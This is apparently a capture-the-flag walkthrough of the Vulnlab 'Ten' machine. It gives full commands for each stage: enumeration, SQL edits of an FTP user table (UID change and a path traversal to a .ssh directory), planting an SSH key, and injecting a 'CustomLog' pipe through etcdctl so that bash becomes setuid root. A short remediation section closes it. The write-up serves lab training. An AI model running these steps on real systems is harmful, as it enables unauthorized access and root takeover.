Vulnlab Walkthrough Ten

Nmap

nmap -sC -sV -Pn -oN nmap 10.10.83.43  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-07 10:22 EDT
Nmap scan report for 10.10.83.43
Host is up (0.14s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Pure-FTPd
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 13:98:54:52:d3:7b:ae:32:6a:33:6f:18:a3:5a:27:66 (ECDSA)
|_  256 2e:d5:86:25:c1:6b:0e:51:a2:2a:dd:82:44:a6:00:63 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Page moved.
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Here we see that port 80 is open, it’s running an http service. Let’s view this on Firefox.

enumeration0

When clicking on ‘Sign up today’ we are directed to a page that allows us to enter a domain name to request credentials.

enumeration2

After entering ten in the input field we can see that this generated an FTP account with a username, password, and a corresponding personal domain.

enumeration3

Using these credentials, I was able to authenticate over FTP. After authenticating, I found that there weren’t any files or directories.

enumeration4

Using ffuf we can enumerate subdomains on the web server.


ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.ten.vl" -u http://10.10.103.157 -fs 205

enumeration4.1

Here we find the subdomain webdb. When viewing this on Firefox, this is what we see.

enumeration5

By clicking on Guess Credentials, we can retrieve a username and password: user pa55w0rd. Doing some more enumeration, I found the home directory associated with the FTP user I created: /srv/ten/bd1b5f49/.

enumeration4.5

Doing even more enumeration, I found the following SQL queries.

enumeration6

What we can do is link our new FTP user to their home directory by updating the dir field in the users table. Running the SQL command below sets the correct path, so when we authenticate over FTP as ten-bd1b5f49, we land in our home directory.

UPDATE users 
SET 
	dir = '/srv/home/ten-bd1b5f49' 
WHERE 
	user = 'ten-bd1b5f49';

enumeration6.5

Logging back into FTP, we see that we are placed in /srv/home/ten-bd1b5f49.

enumeration6.6

We find /home/tyrell, but can’t access it.

enumeration7

By setting the UID and GID of ten-bd1b5f49 to 1000, we inherit Tyrell’s permissions and can view this directory.

UPDATE users 
SET 
    uid = 1000, 
    gid = 1000 
WHERE 
    user = 'ten-bd1b5f49';

After logging out and logging back into FTP, we are able to retrieve the user flag… Or so I thought.

User

user

Attempting to download .user.txt results in a 553 error. What this means is that this FTP server blocks access to hidden files.

To get around this, we can set our FTP home directory to /srv/../home/tyrell/.ssh. This is a form of directory traversal. It resolves to /home/tyrell/.ssh, but avoids the FTP server’s restrictions on dot-directories.

UPDATE users
SET dir = '/srv/../home/tyrell/.ssh'
WHERE user = 'ten-bd1b5f49';

After changing the home directory of ten-bd1b5f49 we can log back into FTP, and we see that we land in the directory /home/tyrell/.ssh

user1.5

From here, we can create an SSH key pair and upload it to the FTP server. This will allow us to authenticate over SSH to retrieve the user flag.

Generating the SSH key pair and renaming the public key

ssh-keygen -t rsa -b 2048 -f id_rsa_tyrell
mv id_rsa_tyrell.pub authorized_keys

Uploading the public key to FTP

ftp> del authorized_keys
250 Deleted authorized_keys
ftp> put authorized_keys

Authenticating over SSH

ssh -i id_rsa_tyrell tyrell@ten.vl  

Now we can retrieve the user flag.

user2

Privilege Escalation

We can start pspy64 to further enumerate the web server.

privesc1

When we go back to ten.vl and submit another FTP account to be created, we are able to capture the response with pspy.

2025/06/08 20:34:49 CMD: UID=33    PID=2578   | sh -c ETCDCTL_API=3 /usr/bin/etcdctl put /customers/ten-415dd49e/url test 
2025/06/08 20:34:49 CMD: UID=0     PID=2586   | /usr/local/sbin/remco 
2025/06/08 20:34:49 CMD: UID=0     PID=2587   | 
2025/06/08 20:34:49 CMD: UID=0     PID=2588   | (pachectl) 
2025/06/08 20:34:49 CMD: UID=0     PID=2589   | /bin/sh /usr/sbin/apachectl graceful-stop 
2025/06/08 20:34:49 CMD: UID=0     PID=2590   | /bin/sh /usr/sbin/apachectl graceful-stop 
2025/06/08 20:34:49 CMD: UID=0     PID=2596   | 
2025/06/08 20:34:49 CMD: UID=0     PID=2597   | 
2025/06/08 20:34:49 CMD: UID=0     PID=2599   | /bin/sh /usr/sbin/apachectl start 
2025/06/08 20:34:49 CMD: UID=0     PID=2600   | /usr/sbin/apache2 -k start 

When an FTP user is created, a backend process runs that saves the users assigned domain to a database called etcd.

Another process uses the tool remco to read the values from etcd and uses a template to generate configuration files.

These config files contain virtual host blocks, which define how the web server should serve each user’s domain. Below we can see the template that is used to create virtual host blocks.

 
{% for customer in lsdir("/customers") %}
  {% if exists(printf("/customers/%s/url", customer)) %}

<VirtualHost *:80>
	ServerName {{ getv(printf("/customers/%s/url",customer)) }}.ten.vl
	DocumentRoot /srv/{{ customer }}/
</VirtualHost>

  {% endif %}
{% endfor %}

If we enter test in the input field, the template becomes:

<VirtualHost *:80>
	ServerName test.ten.vl
	DocumentRoot /srv/ten-abc123/
</VirtualHost>

Root

The web server will automatically restart after a virtual host is created. Here’s the kicker. Upon starting the web server will read the configuration files with root privileges. What this means is we can enter malicious code as part of the input, so when a restart happens, the web server will read the config files with root privileges and we can obtain root level access.

 ETCDCTL_API=3 /usr/bin/etcdctl put /customers/ten-1d8f5ff3/url 'fake.ten.vl
CustomLog "|/usr/bin/chmod u+s /usr/bin/bash" common

This is how the virtual host template appears after the malicious code is added:

 <VirtualHost *:80>
    ServerName fake.ten
    DocumentRoot /srv/ten-1d8f5ff3/url
    CustomLog "|/usr/bin/chmod u+s /usr/bin/bash" common
</VirtualHost>

We can now spawn a shell as root, and obtain the root flag.

/usr/bin/bash -p

root

Remediation

The “Guess Credentials” feature on the webdb subdomain should be removed. The web server should never blindly trust user input. Any data used in configuration files or backend processes must be thoroughly validated and sanitized.